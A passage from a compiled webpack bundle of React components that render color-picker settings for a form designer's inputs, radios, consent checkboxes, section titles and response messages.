this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
property: (0, _utils.getThemePrefix)(this.props) + 'response-error-background',
label: (0, _utils.translate)('Background color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333"),
property: (0, _utils.getThemePrefix)(this.props) + 'response-error-color',
label: (0, _utils.translate)('Text color')
}))
);
}
}]);
return ResponseErrorColors;
}(_react.Component);
exports.default = ResponseErrorColors;
/***/ }),
/* 263 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ResponseSuccessColors = function (_Component) {
_inherits(ResponseSuccessColors, _Component);
function ResponseSuccessColors(props) {
_classCallCheck(this, ResponseSuccessColors);
return _possibleConstructorReturn(this, (ResponseSuccessColors.__proto__ || Object.getPrototypeOf(ResponseSuccessColors)).call(this, props));
}
_createClass(ResponseSuccessColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#1ABCA1"),
property: (0, _utils.getThemePrefix)(this.props) + 'response-success-border',
label: (0, _utils.translate)('Border color'),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#BCEEE6"),
property: (0, _utils.getThemePrefix)(this.props) + 'response-success-background',
label: (0, _utils.translate)('Background color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333"),
property: (0, _utils.getThemePrefix)(this.props) + 'response-success-color',
label: (0, _utils.translate)('Text color')
}))
);
}
}]);
return ResponseSuccessColors;
}(_react.Component);
exports.default = ResponseSuccessColors;
/***/ }),
/* 264 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SectionColors = function (_Component) {
_inherits(SectionColors, _Component);
function SectionColors(props) {
_classCallCheck(this, SectionColors);
return _possibleConstructorReturn(this, (SectionColors.__proto__ || Object.getPrototypeOf(SectionColors)).call(this, props));
}
_createClass(SectionColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Title color'),
property: (0, _utils.getThemePrefix)(this.props) + 'cform-title-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333") })),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Subtitle color'),
property: (0, _utils.getThemePrefix)(this.props) + 'cform-subtitle-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333") }))
);
}
}]);
return SectionColors;
}(_react.Component);
exports.default = SectionColors;
/***/ }),
/* 265 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var InputsColors = function (_Component) {
_inherits(InputsColors, _Component);
function InputsColors(props) {
_classCallCheck(this, InputsColors);
return _possibleConstructorReturn(this, (InputsColors.__proto__ || Object.getPrototypeOf(InputsColors)).call(this, props));
}
_createClass(InputsColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-border',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-bg',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Placeholder'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-placeholder',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-border-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-hover-bg',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-hover-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Focus'),
value: 'focus'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-border-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-active-bg',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'input-active-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
}))
),
this.props.formDesign !== 'material' && _react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Error'),
value: 'error'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'input-border-error',
label: (0, _utils.translate)('Border color'),
isAlpha: true
}))
)
);
}
}]);
return InputsColors;
}(_react.Component);
exports.default = InputsColors;
/***/ }),
/* 266 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var InputExtraColors = function (_Component) {
_inherits(InputExtraColors, _Component);
function InputExtraColors(props) {
_classCallCheck(this, InputExtraColors);
return _possibleConstructorReturn(this, (InputExtraColors.__proto__ || Object.getPrototypeOf(InputExtraColors)).call(this, props));
}
_createClass(InputExtraColors, [{
key: 'render',
value: function render() {
var hasDatePicker = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'picker');
var hasCalculation = (0, _utils.hasFieldType)('calculation', this.props.wrappers);
var hasCurrency = (0, _utils.hasFieldType)('currency', this.props.wrappers);
var hasStripe = (0, _utils.hasFieldType)('stripe', this.props.wrappers);
var content = _react2.default.createElement(
_react2.default.Fragment,
null,
(hasDatePicker || hasStripe) && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
property: (0, _utils.getThemePrefix)(this.props) + 'input-icon',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
label: (0, _utils.translate)('Icon color')
})),
hasCalculation && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
property: (0, _utils.getThemePrefix)(this.props) + 'prefix-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
label: (0, _utils.translate)('Prefix color')
})),
(hasCurrency || hasCalculation) && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
property: (0, _utils.getThemePrefix)(this.props) + 'suffix-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
label: (0, _utils.translate)('Suffix color')
}))
);
if (hasStripe) {
content = _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
(hasDatePicker || hasStripe) && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
property: (0, _utils.getThemePrefix)(this.props) + 'input-icon',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
label: (0, _utils.translate)('Icon color')
})),
hasCalculation && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
property: (0, _utils.getThemePrefix)(this.props) + 'prefix-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
label: (0, _utils.translate)('Prefix color')
})),
(hasCurrency || hasCalculation) && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
property: (0, _utils.getThemePrefix)(this.props) + 'suffix-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000"),
label: (0, _utils.translate)('Suffix color')
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
hasStripe && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
property: (0, _utils.getThemePrefix)(this.props) + 'input-icon-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
label: (0, _utils.translate)('Icon color')
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Focus'),
value: 'focus'
},
hasStripe && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
property: (0, _utils.getThemePrefix)(this.props) + 'input-icon-focus',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
label: (0, _utils.translate)('Icon color')
}))
)
);
}
return content;
}
}]);
return InputExtraColors;
}(_react.Component);
exports.default = InputExtraColors;
/***/ }),
/* 267 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var RadioColors = function (_Component) {
_inherits(RadioColors, _Component);
function RadioColors(props) {
_classCallCheck(this, RadioColors);
return _possibleConstructorReturn(this, (RadioColors.__proto__ || Object.getPrototypeOf(RadioColors)).call(this, props));
}
_createClass(RadioColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-border-static',
label: (0, _utils.translate)('Border color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-background-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-label',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
})),
this.props.formDesign !== 'flat' || this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Image border'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-image-border-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Image background'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-image-background',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
isAlpha: true
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Checked'),
value: 'checked'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-border-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-background-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-icon',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
})),
this.props.formDesign !== 'flat' || this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Image border'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-image-border-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Image background'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-image-background-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E1F6FF"),
isAlpha: true
}))
),
this.props.formDesign !== 'material' && _react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Error'),
value: 'error'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-border-error',
label: (0, _utils.translate)('Border color'),
isAlpha: true
})),
this.props.formDesign === 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'radio-background-error',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
isAlpha: true
}))
)
);
}
}]);
return RadioColors;
}(_react.Component);
exports.default = RadioColors;
/***/ }),
/* 268 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ConsentColors = function (_Component) {
_inherits(ConsentColors, _Component);
function ConsentColors(props) {
_classCallCheck(this, ConsentColors);
return _possibleConstructorReturn(this, (ConsentColors.__proto__ || Object.getPrototypeOf(ConsentColors)).call(this, props));
}
_createClass(ConsentColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-border-static',
label: (0, _utils.translate)('Border color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-background-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-label',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#000000")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Checked'),
value: 'checked'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-border-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-background-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Icon color'),
property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-icon',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
}))
),
this.props.formDesign !== 'material' && _react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Error'),
value: 'error'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-border-error',
label: (0, _utils.translate)('Border color'),
isAlpha: true
})),
this.props.formDesign === 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'consent-cbox-background-error',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
isAlpha: true
}))
)
);
}
}]);
return ConsentColors;
}(_react.Component);
exports.default = ConsentColors;
/***/ }),
/* 269 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
